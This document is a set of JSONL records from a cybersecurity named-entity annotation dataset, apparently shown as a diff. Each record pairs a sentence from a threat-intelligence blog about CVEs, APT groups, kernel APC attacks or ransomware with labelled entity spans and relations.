-{"id":683,"text":"We’ve seen examples of this just recently, when CVE-2017-11882 was exploited in the wild, paving the way to other exploits like CVE-2018-0802, both of which exploit flaws in the equation editor, enabling attackers to get from the user opening an Office document to remote code execution.","entities":[{"id":46259,"label":"vulnerability","start_offset":48,"end_offset":62},{"id":46260,"label":"vulnerability","start_offset":128,"end_offset":141},{"id":46261,"label":"SOFTWARE","start_offset":178,"end_offset":193}],"relations":[],"Comments":[]}
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-{"id":695,"text":" Conclusion","entities":[],"relations":[],"Comments":[]}
-{"id":696,"text":"While document-based attacks have been a common attack vector for over a decade, we’re seeing a recent rise in their popularity and complexity.","entities":[],"relations":[],"Comments":[]}
-{"id":697,"text":"This rise may be a result of browser exploits becoming more difficult to use, due to the hardening done by browser developers.","entities":[],"relations":[],"Comments":[]}
-{"id":698,"text":"No matter the reason","entities":[],"relations":[],"Comments":[]}
-{"id":699,"text":", it is important that organizations know how to defend against these common techniques.","entities":[],"relations":[],"Comments":[]}
-{"id":700,"text":" Prevention Palo Alto Networks Traps advanced endpoint protection offers multiple methods of malware and exploit prevention to protect against these threats:","entities":[{"id":2316,"label":"identity","start_offset":12,"end_offset":30}],"relations":[],"Comments":[]}
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-{"id":703,"text":"This has been a fun week.","entities":[],"relations":[],"Comments":[]}
-{"id":704,"text":"We have not had a significant cyber event like this – something that affects just about everybody on the Internet -- since the Kaminsky DNS vulnerability of 2008.","entities":[{"id":46276,"label":"vulnerability","start_offset":127,"end_offset":153},{"id":46275,"label":"TIME","start_offset":157,"end_offset":161}],"relations":[],"Comments":[]}
-{"id":705,"text":"Everybody I know has been scrambling to understand what it means to their organization, to their business and to their immediate family.","entities":[],"relations":[],"Comments":[]}
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-{"id":708,"text":" There’s a lot out there already about what Heartbleed means for the Web and beyond, and I’ll point you to our own analysis written by Scott Simkin or an essay by Dan Goodin over at ars technica for that explanation.","entities":[{"id":44834,"label":"identity","start_offset":135,"end_offset":147},{"id":44835,"label":"identity","start_offset":163,"end_offset":173},{"id":44836,"label":"identity","start_offset":182,"end_offset":194},{"id":44837,"label":"vulnerability","start_offset":44,"end_offset":54}],"relations":[],"Comments":[]}
-{"id":709,"text":"Instead, here are eight things I am doing right now to protect Palo Alto Networks and my home (and mother-in-law) and that you should be doing, too:","entities":[{"id":46277,"label":"identity","start_offset":63,"end_offset":81}],"relations":[],"Comments":[]}
-{"id":710,"text":" If there’s a long-term consideration here, it’s to install perfect forward secrecy, as Twitter did last year.","entities":[{"id":46278,"label":"SOFTWARE","start_offset":88,"end_offset":95}],"relations":[],"Comments":[]}
-{"id":711,"text":"That ensures that a session key derived from a stolen private key and a collected public key in the future will not be compromised.","entities":[],"relations":[],"Comments":[]}
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-{"id":715,"text":"This post is also available in:      日本語 (Japanese)  On Aug. 25, 2021, Atlassian released a security advisory for an injection vulnerability in Confluence Server and Data Center, CVE-2021-26084.","entities":[{"id":46281,"label":"vulnerability","start_offset":179,"end_offset":193},{"id":46282,"label":"SOFTWARE","start_offset":144,"end_offset":177},{"id":46279,"label":"identity","start_offset":71,"end_offset":80},{"id":46280,"label":"TIME","start_offset":56,"end_offset":69}],"relations":[{"id":178,"from_id":46282,"to_id":46281,"type":"has"}],"Comments":[]}
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-{"id":726,"text":"This post is also available in:      日本語 (Japanese)  On Sept. 14, 2021, Microsoft’s Security Response Center (MSRC) released security patches detailing the findings of four critical vulnerabilities affecting the Microsoft Azure package Open Management Infrastructure (OMI).","entities":[{"id":46298,"label":"TIME","start_offset":56,"end_offset":70},{"id":44843,"label":"identity","start_offset":72,"end_offset":115},{"id":44844,"label":"SOFTWARE","start_offset":212,"end_offset":272}],"relations":[],"Comments":[]}
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+{"id":1876,"text":"The update from Microsoft for the Windows operating system was published in February as an optional update, and in Microsoft's security release in April, so fully updated machines running Windows 10 and 11 are not vulnerable to this kind of attack.","entities":[{"id":46997,"label":"SOFTWARE","start_offset":34,"end_offset":58},{"id":46998,"label":"TIME","start_offset":76,"end_offset":84},{"id":47000,"label":"identity","start_offset":115,"end_offset":124},{"id":47001,"label":"TIME","start_offset":147,"end_offset":152},{"id":46999,"label":"identity","start_offset":16,"end_offset":25},{"id":47002,"label":"SOFTWARE","start_offset":188,"end_offset":205}],"relations":[],"Comments":[]}
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+{"id":4551,"text":"Here is a deeper look at some campaign activity TAG has observed since our last update: Turla, a group publicly attributed to Russia\u2019s Federal Security Service (FSB), recently hosted Android apps on a domain spoofing the Ukrainian Azov Regiment.","entities":[{"id":50355,"label":"identity","start_offset":48,"end_offset":51},{"id":50356,"label":"threat-actor","start_offset":88,"end_offset":93},{"id":50357,"label":"identity","start_offset":135,"end_offset":165},{"id":50358,"label":"location","start_offset":126,"end_offset":132},{"id":50359,"label":"SOFTWARE","start_offset":183,"end_offset":190},{"id":50360,"label":"identity","start_offset":221,"end_offset":244}],"relations":[{"id":946,"from_id":50356,"to_id":50357,"type":"attributed-to"},{"id":947,"from_id":50357,"to_id":50358,"type":"located-at"},{"id":948,"from_id":50357,"to_id":50360,"type":"impersonates"}],"Comments":[]}
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+{"id":4810,"text":"The list of target websites for the app can be seen in the CyberChef recipe here.","entities":[{"id":50726,"label":"tools","start_offset":59,"end_offset":68}],"relations":[],"Comments":[]}
+{"id":7647,"text":"Malicious Excel files that TA505 distributed had information harvesting capabilities.","entities":[],"relations":[],"Comments":[]}
+{"id":9746,"text":"A similar fake Office document has blurred logos for a Turkish government institution related to taxes The macros contain strings encoded in base52, which is rarely used by threat actors other than MuddyWater.","entities":[{"id":29729,"label":"threat-actor","start_offset":198,"end_offset":208}],"relations":[],"Comments":[]}
+{"id":4610,"text":"Let\u2019s take a deeper look:","entities":[],"relations":[],"Comments":[]}
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+{"id":11341,"text":"The language is returned to its original setting when the run is finished.","entities":[],"relations":[],"Comments":[]}
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+{"id":14074,"text":"Again, on its own, this might not be coincidental.","entities":[],"relations":[],"Comments":[]}
+{"id":14367,"text":"It is also important to be aware of what apps are allowed to access, and to understand the risks before accepting any terms or granting certain permissions to apps.","entities":[],"relations":[],"Comments":[]}
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+{"id":13800,"text":"Therefore, the first-stage shellcode takes the PID of the Windows Service \u2014 which the first-stage shellcode and the succeeding backdoor both inject into \u2014 hides the target process, and embeds that PID into the second-stage shellcode.","entities":[{"id":48789,"label":"tools","start_offset":27,"end_offset":37},{"id":48790,"label":"SOFTWARE","start_offset":58,"end_offset":73},{"id":48791,"label":"attack-pattern","start_offset":141,"end_offset":152}],"relations":[{"id":464,"from_id":48789,"to_id":48790,"type":"duplicate-of"},{"id":465,"from_id":48789,"to_id":48791,"type":"uses"}],"Comments":[]}
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+{"id":4974,"text":"All three campaigns delivered one-time links mimicking URL shortener services to the targeted Android users via email.","entities":[],"relations":[],"Comments":[]}
+{"id":790,"text":"From the results of our research, applications of such methods can effectively stop unpatched use-after-free attacks.","entities":[{"id":46351,"label":"attack-pattern","start_offset":94,"end_offset":116}],"relations":[],"Comments":[]}
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+{"id":5532,"text":"What sites are at risk?","entities":[],"relations":[],"Comments":[]}
+{"id":12365,"text":"In previous posts, we discussed targeting of health organizations as well as attacker efforts to impersonate the World Health Organization.","entities":[],"relations":[],"Comments":[]}
+{"id":10129,"text":"In summer and fall of 2017, we observed Pawn Storm targeting several organizations with credential phishing and spear phishing attacks.","entities":[{"id":30882,"label":"attack-pattern","start_offset":99,"end_offset":107},{"id":30883,"label":"location","start_offset":108,"end_offset":111},{"id":30884,"label":"attack-pattern","start_offset":112,"end_offset":126}],"relations":[],"Comments":[]}
+{"id":5059,"text":"We have not observed any Gmail accounts successfully compromised during these campaigns.","entities":[{"id":51164,"label":"SOFTWARE","start_offset":25,"end_offset":30}],"relations":[],"Comments":[]}
+{"id":9747,"text":"The group is known to use it to encode their PowerShell backdoor.","entities":[{"id":29730,"label":"attack-pattern","start_offset":45,"end_offset":55}],"relations":[],"Comments":[]}
+{"id":5767,"text":"In this analysis, Trend Micro investigates an incident involving the MyKings botnet to show how the MITRE ATT&CK framework helps with threat investigation.","entities":[],"relations":[],"Comments":[]}
+{"id":3551,"text":"During our analysis of the indicators of compromise (IoCs) in the deployed samples that were infecting the victim\u2019s machines, we noticed some interesting characteristics: notably that these samples were making use of obfuscation tools that made them virtually undetectable.","entities":[],"relations":[],"Comments":[]}
+{"id":2162,"text":"Therefore, the vulnerability of particular note in this attack lies in calling the Microsoft Support Diagnostic Tool (MSDT) using the ms-msdt URL Protocol within Word via the remotely loaded template file.","entities":[{"id":47300,"label":"SOFTWARE","start_offset":162,"end_offset":166},{"id":47299,"label":"SOFTWARE","start_offset":83,"end_offset":123}],"relations":[],"Comments":[]}
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+{"id":10250,"text":"We wrote about related attacks in early 2020.","entities":[],"relations":[],"Comments":[]}
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+{"id":10660,"text":"2021 alone accounted for 14 of those vulnerabilities, breaking a 17-year record high.","entities":[],"relations":[],"Comments":[]}
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+{"id":3114,"text":"Since these potentially affect nearly every device with a modern processor, that means that full mitigation and remediation may not be possible.","entities":[],"relations":[],"Comments":[]}
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+{"id":5146,"text":"I'm going to buy it and I'm going to come back home.","entities":[],"relations":[],"Comments":[]}
+{"id":7297,"text":"The timestamp of the dropped files     4)      Delete itself","entities":[],"relations":[],"Comments":[]}
+{"id":5890,"text":"Obviously, this is where our focus needs to be, hands down.","entities":[],"relations":[],"Comments":[]}
+{"id":1215,"text":"Some of these policies are hard-coded in the SDKs, e.g., in UmPay; but others are pre-fetched from cloud servers that are operated by the SDKs\u2019 providers (Figure 5).  ","entities":[{"id":46604,"label":"SOFTWARE","start_offset":60,"end_offset":65}],"relations":[],"Comments":[]}
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+{"id":10953,"text":"Generally, 2020 has been dominated by COVID-19.","entities":[],"relations":[],"Comments":[]}
+{"id":2855,"text":"Ignite \u201917 Security Conference is a live, four-day conference designed for today\u2019s security professionals.","entities":[],"relations":[],"Comments":[]}
+{"id":4595,"text":"Two bugs are chained to achieve the remote code execution and for the attack to be successful, an attacker requires access to the Outlook Web App portal of the vulnerable Exchange Server, and a valid email address","entities":[{"id":50473,"label":"SOFTWARE","start_offset":130,"end_offset":145},{"id":50474,"label":"SOFTWARE","start_offset":171,"end_offset":186}],"relations":[],"Comments":[]}
+{"id":3296,"text":"4.      \u201cgetversion\u201d: returns the string \u201c20200202\u201d.","entities":[],"relations":[],"Comments":[]}
+{"id":12286,"text":"We terminated 12 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Russia.","entities":[],"relations":[],"Comments":[]}
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+{"id":10902,"text":"For example, the domain names used by StrongPity in 2020 have a domain naming pattern similar to the domains used by the identified Android samples.","entities":[],"relations":[],"Comments":[]}
+{"id":680,"text":"In these types of attacks, the malicious Excel contains embedded Adobe Flash content which can trigger the Flash vulnerability and execute embedded shellcode.","entities":[{"id":46255,"label":"vulnerability","start_offset":107,"end_offset":126},{"id":46254,"label":"SOFTWARE","start_offset":65,"end_offset":76}],"relations":[],"Comments":[]}
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+{"id":4336,"text":"Analysis of the file stealer","entities":[],"relations":[],"Comments":[]}
+{"id":5274,"text":"Trend Micro\u2019s Mobile App Reputation Service (MARS) covers Android and iOS threats using leading sandbox and machine learning technologies.","entities":[{"id":51317,"label":"SOFTWARE","start_offset":58,"end_offset":65},{"id":51318,"label":"SOFTWARE","start_offset":70,"end_offset":73},{"id":51316,"label":"SOFTWARE","start_offset":0,"end_offset":50}],"relations":[],"Comments":[]}
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+{"id":12841,"text":"An overview and analysis of the various malware used by PLEAD, Shrouded Crossbow, and Waterbear, along with their Indicators of Compromise (hashes, C&Cs), can be found in this technical brief.        Tags  Articles, News, Reports | APT & Targeted Attacks | Research","entities":[{"id":40020,"label":"location","start_offset":12,"end_offset":15},{"id":40021,"label":"malware","start_offset":56,"end_offset":61},{"id":40023,"label":"location","start_offset":82,"end_offset":85},{"id":40025,"label":"location","start_offset":97,"end_offset":102},{"id":40026,"label":"location","start_offset":155,"end_offset":158},{"id":40027,"label":"location","start_offset":232,"end_offset":235}],"relations":[],"Comments":[]}
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+{"id":5822,"text":"Well, I mean, it still serves a purpose if you're able to knock down the power or communication, the real two top tier critical infrastructure.","entities":[{"id":17996,"label":"tools","start_offset":58,"end_offset":63},{"id":17997,"label":"location","start_offset":73,"end_offset":78},{"id":17998,"label":"location","start_offset":101,"end_offset":105}],"relations":[],"Comments":[]}
+{"id":11331,"text":"Again, the response is expected to be \"OK\".","entities":[],"relations":[],"Comments":[]}
+{"id":2299,"text":"The watering hole served an XNU privilege escalation vulnerability (CVE-2021-30869) unpatched in macOS Catalina, which led to the installation of a previously unreported backdoor.","entities":[{"id":47364,"label":"vulnerability","start_offset":68,"end_offset":82},{"id":47365,"label":"SOFTWARE","start_offset":97,"end_offset":111},{"id":47366,"label":"vulnerability","start_offset":28,"end_offset":66}],"relations":[{"id":315,"from_id":47365,"to_id":47364,"type":"has"}],"Comments":[]}
+{"id":399,"text":"These abilities will be updated to detect additional instances or versions that are insecure against this CVE.","entities":[],"relations":[],"Comments":[]}
+{"id":1088,"text":"If you think of the threads as a whole bunch of people in a meeting, all trying to talk at once, a mutex is the baton that gets passed from one person to the next so that there\u2019s only one person talking at a time.","entities":[],"relations":[],"Comments":[]}
+{"id":4700,"text":"We appreciate the Committee\u2019s efforts to raise awareness about the commercial spyware industry that is thriving and growing, creating risks to Americans and Internet users across the globe.","entities":[],"relations":[],"Comments":[]}
+{"id":5027,"text":"The group's tactics, techniques and procedures (TTPs) for these campaigns have shifted slightly from including phishing links directly in the email, to also linking to PDFs and\/or DOCs hosted on Google Drive and Microsoft One Drive.","entities":[{"id":51096,"label":"SOFTWARE","start_offset":212,"end_offset":231},{"id":51095,"label":"SOFTWARE","start_offset":195,"end_offset":207}],"relations":[],"Comments":[]}
+{"id":4722,"text":"Based on our research and findings, we assessed this to be one of the most technically sophisticated exploits we had ever seen, further demonstrating that the capabilities NSO provides rival those previously thought to be accessible to only a handful of nation states.","entities":[{"id":50621,"label":"threat-actor","start_offset":172,"end_offset":175}],"relations":[],"Comments":[]}
+{"id":3841,"text":"We noted that this might signify the release of a future variant.","entities":[],"relations":[],"Comments":[]}
+{"id":4482,"text":"In June, we provided examples of the hack-for-hire ecosystem from India, Russia, and the United Arab Emirates.","entities":[{"id":50286,"label":"location","start_offset":89,"end_offset":109},{"id":50282,"label":"TIME","start_offset":3,"end_offset":7},{"id":50283,"label":"attack-pattern","start_offset":37,"end_offset":50},{"id":50285,"label":"location","start_offset":73,"end_offset":79},{"id":50284,"label":"location","start_offset":66,"end_offset":71}],"relations":[],"Comments":[]}
+{"id":9279,"text":"We disclosed our findings to PrismRBS.","entities":[],"relations":[],"Comments":[]}
+{"id":543,"text":"Most ransom notes request payment in cryptocurrency or mention reaching out via the darknet, though some other contact methods also appear.  In these cases, the ransom note asks victims to pay a specific amount in cryptocurrency \u2013 Bitcoin (BTC), Monero (XMR), etc. \u2014 to a specific wallet address.","entities":[{"id":45794,"label":"SOFTWARE","start_offset":246,"end_offset":252},{"id":44769,"label":"SOFTWARE","start_offset":231,"end_offset":238},{"id":44770,"label":"SOFTWARE","start_offset":231,"end_offset":244},{"id":44772,"label":"SOFTWARE","start_offset":246,"end_offset":258}],"relations":[],"Comments":[]}
+{"id":4070,"text":"We saw in our cases that the HTShell client will be launched as a system service on the compromised machine and that it will connect to a C&C server.","entities":[{"id":49908,"label":"malware","start_offset":29,"end_offset":36}],"relations":[],"Comments":[]}
+{"id":715,"text":"This post is also available in:      \u65e5\u672c\u8a9e (Japanese)  On Aug. 25, 2021, Atlassian released a security advisory for an injection vulnerability in Confluence Server and Data Center, CVE-2021-26084.","entities":[{"id":46281,"label":"vulnerability","start_offset":179,"end_offset":193},{"id":46282,"label":"SOFTWARE","start_offset":144,"end_offset":177},{"id":46279,"label":"identity","start_offset":71,"end_offset":80},{"id":46280,"label":"TIME","start_offset":56,"end_offset":69}],"relations":[{"id":178,"from_id":46282,"to_id":46281,"type":"has"}],"Comments":[]}
+{"id":13398,"text":"We assess that these campaigns delivered ALIEN, a simple Android malware in charge of loading PREDATOR, an Android implant described by CitizenLab in December 2021.","entities":[{"id":41703,"label":"malware","start_offset":41,"end_offset":46}],"relations":[],"Comments":[]}
+{"id":987,"text":"Identifying monetization and advertising platforms that behave poorly and abuse their users is something that our industry must to do ensure the safety of all mobile devices and their users.","entities":[],"relations":[],"Comments":[]}
+{"id":11656,"text":"It drops a file named 1.a (a JavaScript code), which drops the backdoor + stealer into a folder in ProgramData and directly executes it or creates a scheduled task to execute the dropped files at a later time.","entities":[{"id":35774,"label":"malware","start_offset":74,"end_offset":81},{"id":35775,"label":"location","start_offset":111,"end_offset":114},{"id":35776,"label":"attack-pattern","start_offset":149,"end_offset":163},{"id":35777,"label":"location","start_offset":204,"end_offset":208}],"relations":[],"Comments":[]}
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+{"id":31,"text":" How Attacks Monetize Infections","entities":[],"relations":[],"Comments":[]}
+{"id":4118,"text":"However, most of the backdoor functions are listed here:  Command code Function 0x5001","entities":[],"relations":[],"Comments":[]}
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+{"id":1160,"text":" The fourth is likely due to the mutexes only appearing in a single malware family.","entities":[],"relations":[],"Comments":[]}
+{"id":4751,"text":"In addition to these concerns, there are other reasons why this industry presents a risk more broadly across the Internet.","entities":[],"relations":[],"Comments":[]}
+{"id":6234,"text":"     Figure 17.","entities":[],"relations":[],"Comments":[]}
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+{"id":1074,"text":" In light of this latest research, the risk of overlay attacks takes on a greater significance.","entities":[],"relations":[],"Comments":[]}
+{"id":1178,"text":"Either way, somebody needs their computer privileges revoked.","entities":[],"relations":[],"Comments":[]}
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+{"id":5782,"text":"I'm the Chief Cybersecurity Officer at Trend Micro.","entities":[],"relations":[],"Comments":[]}
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-{"id":741,"text":"Use-after-free bugs have affected Internet Explorer for years.","entities":[{"id":46333,"label":"SOFTWARE","start_offset":34,"end_offset":51}],"relations":[],"Comments":[]}
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+{"id":490,"text":" An overlay attack happens when an attacker places a window over a legitimate application on the device.","entities":[],"relations":[],"Comments":[]}
+{"id":5764,"text":"Greg Young, vice president of cybersecurity at Trend Micro, discusses BeyondProd\u2019s value in this article.","entities":[],"relations":[],"Comments":[]}
+{"id":2645,"text":"This practice is known as triple extortion, a tactic observed in groups like BlackCat, Avaddon and SunCrypt in the past.","entities":[{"id":47833,"label":"threat-actor","start_offset":77,"end_offset":85},{"id":47834,"label":"threat-actor","start_offset":87,"end_offset":94},{"id":47835,"label":"threat-actor","start_offset":99,"end_offset":107}],"relations":[],"Comments":[]}
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+{"id":10112,"text":"Indicators of Compromise","entities":[],"relations":[],"Comments":[]}
+{"id":496,"text":" How to Defend Against It  Keeping devices updated is a general security best practice.","entities":[],"relations":[],"Comments":[]}
+{"id":4452,"text":"For example, TAG has been closely tracking and disrupting campaigns targeting individuals and organizations in Ukraine, and frequently publishes reports on Russian threat actors.","entities":[{"id":50229,"label":"identity","start_offset":13,"end_offset":16},{"id":50230,"label":"location","start_offset":111,"end_offset":118},{"id":50231,"label":"location","start_offset":156,"end_offset":163}],"relations":[],"Comments":[]}
+{"id":6247,"text":" Filmkan is very flexible, giving it more capability than simple interaction with social networks.","entities":[],"relations":[],"Comments":[]}
+{"id":11150,"text":"We terminated 1,628 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to China.","entities":[],"relations":[],"Comments":[]}
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-{"id":789,"text":" The recent patches and introduction of isolated heap and deferred free are strong signs that Microsoft plans to address the fundamentals of use-after-free exploitation in a preventative manner rather than to passively patch the vulnerabilities as they are discovered.","entities":[{"id":44857,"label":"identity","start_offset":94,"end_offset":103},{"id":44858,"label":"attack-pattern","start_offset":141,"end_offset":168}],"relations":[],"Comments":[]}
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-{"id":794,"text":"Could it be game over for use-after-free exploitation, or it is just the beginning of another cat and mouse game?","entities":[],"relations":[],"Comments":[]}
-{"id":795,"text":"Time will tell.","entities":[],"relations":[],"Comments":[]}
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-{"id":799,"text":"Today we’re releasing a new Unit 42 white paper titled “Credential-Based Attacks: Exposing the Ecosystem and Motives Behind Credential Phishing, Theft and Abuse.”","entities":[{"id":2601,"label":"identity","start_offset":28,"end_offset":35},{"id":2604,"label":"attack-pattern","start_offset":135,"end_offset":143}],"relations":[],"Comments":[]}
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-{"id":801,"text":" Credentials and authentication have become synonymous, with valid credentials allowing access to sensitive resources.","entities":[],"relations":[],"Comments":[]}
-{"id":802,"text":"Adversaries are increasingly stealing and using credentials as part of their playbooks; impersonating legitimate users to access a company’s most sensitive information, erase data on servers, and reconfigure them so that they can’t boot; and undertake other malicious activities.","entities":[],"relations":[],"Comments":[]}
-{"id":803,"text":"Stolen credentials underpin some of the most critical and damaging attacks out there; both Shamoon 2 and the Sofacy threat actor group, for example, have made detailed use of credential theft.","entities":[{"id":46358,"label":"attack-pattern","start_offset":175,"end_offset":191},{"id":46356,"label":"threat-actor","start_offset":109,"end_offset":134},{"id":46357,"label":"threat-actor","start_offset":91,"end_offset":100}],"relations":[{"id":182,"from_id":46357,"to_id":46358,"type":"uses"},{"id":183,"from_id":46356,"to_id":46358,"type":"uses"}],"Comments":[]}
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-{"id":810,"text":"Technology is also catching up; recent advances in two-factor\/multi-factor authentication (2FA\/MFA) and one-time passwords (OTP) represent the best long-term approaches to preventing credential theft.","entities":[{"id":46363,"label":"attack-pattern","start_offset":183,"end_offset":199}],"relations":[],"Comments":[]}
-{"id":811,"text":"(Our newest release, PAN-OS 8.0, also includes protections to significantly limit or eliminate password reuse.)","entities":[],"relations":[],"Comments":[]}
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-{"id":813,"text":" Ignite '17 Security Conference: Vancouver, BC June 12–15, 2017  Ignite '17 Security Conference is a live, four-day conference designed for today’s security professionals.","entities":[{"id":46365,"label":"TIME","start_offset":47,"end_offset":63},{"id":46366,"label":"location","start_offset":33,"end_offset":46}],"relations":[],"Comments":[]}
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-{"id":819,"text":"This post is also available in:      日本語 (Japanese)  In January 2020, during the first Patch Tuesday of the new year, Microsoft released patches for 17 new vulnerabilities including one for CVE-2020-0601 known as Curveball.","entities":[{"id":44869,"label":"TIME","start_offset":56,"end_offset":68},{"id":44870,"label":"identity","start_offset":118,"end_offset":127},{"id":44871,"label":"TIME","start_offset":93,"end_offset":100},{"id":44872,"label":"vulnerability","start_offset":190,"end_offset":203},{"id":44873,"label":"vulnerability","start_offset":213,"end_offset":222}],"relations":[],"Comments":[]}
-{"id":820,"text":"The vulnerability exists in the Windows CryptoAPI (Crypt32.dll) and specifically relates to the method used for Elliptic Curve Cryptography (ECC) certificate validation.","entities":[{"id":46367,"label":"FILEPATH","start_offset":51,"end_offset":62},{"id":46368,"label":"SOFTWARE","start_offset":32,"end_offset":49}],"relations":[],"Comments":[]}
-{"id":821,"text":"At the time of release, Microsoft affirmed that they had not yet seen the vulnerability exploited in the wild (ITW).","entities":[{"id":46369,"label":"identity","start_offset":24,"end_offset":33}],"relations":[],"Comments":[]}
-{"id":822,"text":"Researcher Tal Be’ery released a blog titled “Win 10 Crypto Vulnerability: Cheating in Elliptic Curve Billiard 2” that does a fantastic job at explaining this bug.","entities":[{"id":2688,"label":"location","start_offset":136,"end_offset":139},{"id":46370,"label":"SOFTWARE","start_offset":46,"end_offset":52},{"id":44874,"label":"identity","start_offset":11,"end_offset":21}],"relations":[],"Comments":[]}
-{"id":823,"text":" The patch provided by Microsoft included the typical release of operating system patches, but this time a new Application Programming Interface (API) function was added.","entities":[{"id":46371,"label":"SOFTWARE","start_offset":23,"end_offset":32}],"relations":[],"Comments":[]}
-{"id":824,"text":"The new CveEventWrite function can be used to publish events when an attempt to exploit security vulnerabilities in user-mode applications occurs.","entities":[],"relations":[],"Comments":[]}
-{"id":825,"text":"Analysts can collect alerts on the Application Message “CVE-2020-0601” as a means to hunt for attempted exploitation of this vulnerability on patched systems.","entities":[{"id":46372,"label":"vulnerability","start_offset":56,"end_offset":69}],"relations":[],"Comments":[]}
-{"id":826,"text":" We also recommend users of the Chrome browser to update to version 79.0.3945.130 as they recently released an update to fix the TLS issue.  Palo Alto Networks customers running Traps are now safeguarded from the Windows CryptoAPI Spoofing vulnerability, regardless of whether they are running an unpatched Microsoft Windows 10 system.","entities":[{"id":46376,"label":"SOFTWARE","start_offset":307,"end_offset":328},{"id":46375,"label":"SOFTWARE","start_offset":213,"end_offset":230},{"id":46373,"label":"SOFTWARE","start_offset":32,"end_offset":38},{"id":46374,"label":"identity","start_offset":141,"end_offset":159}],"relations":[],"Comments":[]}
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-{"id":828,"text":"As a member of the Microsoft Active Protections Program (MAPP) program, Palo Alto Networks received early details of the vulnerability, providing greater understanding of the threat, which helps us implement strong product coverage.","entities":[{"id":46378,"label":"identity","start_offset":19,"end_offset":62},{"id":44876,"label":"identity","start_offset":72,"end_offset":90}],"relations":[],"Comments":[]}
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-{"id":833,"text":"In the months since the WanaCrypt0r\/WannaCry and the Petya\/NotPetya attacks, security researchers have delved into the nuts and bolts these incidents and the malware involved.","entities":[{"id":2720,"label":"malware","start_offset":36,"end_offset":44},{"id":2722,"label":"malware","start_offset":53,"end_offset":58},{"id":2723,"label":"malware","start_offset":59,"end_offset":67},{"id":2719,"label":"malware","start_offset":24,"end_offset":35}],"relations":[],"Comments":[]}
-{"id":834,"text":" One key thing that research into these security incidents shows is that these attacks used a relatively new and unknown technique called kernel APC attacks as part of their toolkit.","entities":[{"id":44878,"label":"attack-pattern","start_offset":138,"end_offset":156}],"relations":[],"Comments":[]}
-{"id":835,"text":" Kernel APC attacks occur in a way that increases the “stealth” factor and makes standard detection and prevention very difficult.","entities":[{"id":46386,"label":"attack-pattern","start_offset":1,"end_offset":19}],"relations":[],"Comments":[]}
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-{"id":837,"text":" While kernel APC attacks aren’t well known and can be hard to understand, their proven success in WanaCrypt0r\/WannaCry and the Petya\/NotPetya make them an important threat to understand because proven attack techniques are quickly adopted widely.","entities":[{"id":2746,"label":"malware","start_offset":128,"end_offset":133},{"id":44880,"label":"attack-pattern","start_offset":7,"end_offset":25},{"id":44881,"label":"malware","start_offset":99,"end_offset":110},{"id":44882,"label":"malware","start_offset":111,"end_offset":119},{"id":44884,"label":"malware","start_offset":134,"end_offset":142}],"relations":[{"id":185,"from_id":44882,"to_id":44880,"type":"uses"},{"id":186,"from_id":2746,"to_id":44880,"type":"uses"},{"id":184,"from_id":44881,"to_id":44880,"type":"uses"},{"id":187,"from_id":44884,"to_id":44880,"type":"uses"}],"Comments":[]}
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-{"id":839,"text":" To understand what makes kernel APC attacks so dangerous, it’s important to understand what they are.  The kernel is the heart of the operating system.","entities":[{"id":46388,"label":"attack-pattern","start_offset":26,"end_offset":44}],"relations":[],"Comments":[]}
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-{"id":843,"text":" Privilege escalation attacks against the kernel have been around for some time and are well-known and can be well protected against.  Kernel APC attacks however are a different class of attack.","entities":[{"id":2760,"label":"attack-pattern","start_offset":1,"end_offset":21},{"id":44889,"label":"attack-pattern","start_offset":135,"end_offset":153}],"relations":[],"Comments":[]}
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-{"id":845,"text":"Instead kernel APC attacks already have kernel privileges and use them to further carry out their attack.","entities":[{"id":46394,"label":"attack-pattern","start_offset":8,"end_offset":26}],"relations":[],"Comments":[]}
-{"id":846,"text":"In this case by making legitimate programs execute malicious code rather than their own legitimate code.","entities":[{"id":44890,"label":"attack-pattern","start_offset":43,"end_offset":65}],"relations":[],"Comments":[]}
-{"id":847,"text":" Kernel APC attacks do this using their control over the kernel to redirect APCs: “Asynchronous Procedure Calls”.","entities":[{"id":46395,"label":"attack-pattern","start_offset":1,"end_offset":19}],"relations":[],"Comments":[]}
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-{"id":849,"text":"In a kernel APC attack, the attacker gives a legitimate program’s place in line to the attacker’s code.","entities":[{"id":44891,"label":"attack-pattern","start_offset":5,"end_offset":22}],"relations":[],"Comments":[]}
-{"id":850,"text":" The crux of what makes this attack technique so important is how the technique uses this level of control to have legitimate programs run illegitimate commands.","entities":[],"relations":[],"Comments":[]}
-{"id":851,"text":"It’s easier to detect and prevent illegitimate programs (malware) from executing commands.","entities":[],"relations":[],"Comments":[]}
-{"id":852,"text":"But when legitimate programs execute illegitimate commands, it’s harder to detect and prevent: it’s not always clear whether a command is legitimate or not, and interfering with commands from legitimate programs can have significant (sometimes catastrophic) unintended consequences.","entities":[],"relations":[],"Comments":[]}
-{"id":853,"text":"And finally because of ways that kernel APC attacks are carried out, it doesn’t leave the usual fingerprints you find after an attack making detection harder still.","entities":[],"relations":[],"Comments":[]}
-{"id":854,"text":" Taken altogether, these make kernel APC attacks an effective and sophisticated technique.","entities":[{"id":46396,"label":"attack-pattern","start_offset":30,"end_offset":48}],"relations":[],"Comments":[]}
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-{"id":856,"text":" Perhaps more importantly, it’s a piece of those attacks that has escaped relative notice outside of some specialized parts of the research community.","entities":[],"relations":[],"Comments":[]}
-{"id":857,"text":" New effective attack techniques that escape notice are always inviting for other copycat attackers.","entities":[],"relations":[],"Comments":[]}
-{"id":858,"text":"A good way to defend against this is to understand and be aware of the thread: forewarned is forearmed.","entities":[],"relations":[],"Comments":[]}
-{"id":859,"text":" If you want a more detailed understanding of kernel APC attacks as they occurred in WanaCrypt0r\/WannaCry, two good resources are Microsoft’s MMPC blog “WannaCrypt ransomware worm targets out-of-date systems” and Countercept’s “DOUBLEPULSAR Usermode Analysis: Generic Reflective DLL Loader”.","entities":[{"id":2796,"label":"identity","start_offset":130,"end_offset":139},{"id":2800,"label":"malware","start_offset":228,"end_offset":240},{"id":2791,"label":"malware","start_offset":85,"end_offset":96},{"id":2792,"label":"malware","start_offset":97,"end_offset":105},{"id":46397,"label":"malware","start_offset":153,"end_offset":163}],"relations":[],"Comments":[]}
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-{"id":862,"text":"In recent years, ransomware families are often glamorized as being some of the most dangerous types of malware.","entities":[],"relations":[],"Comments":[]}
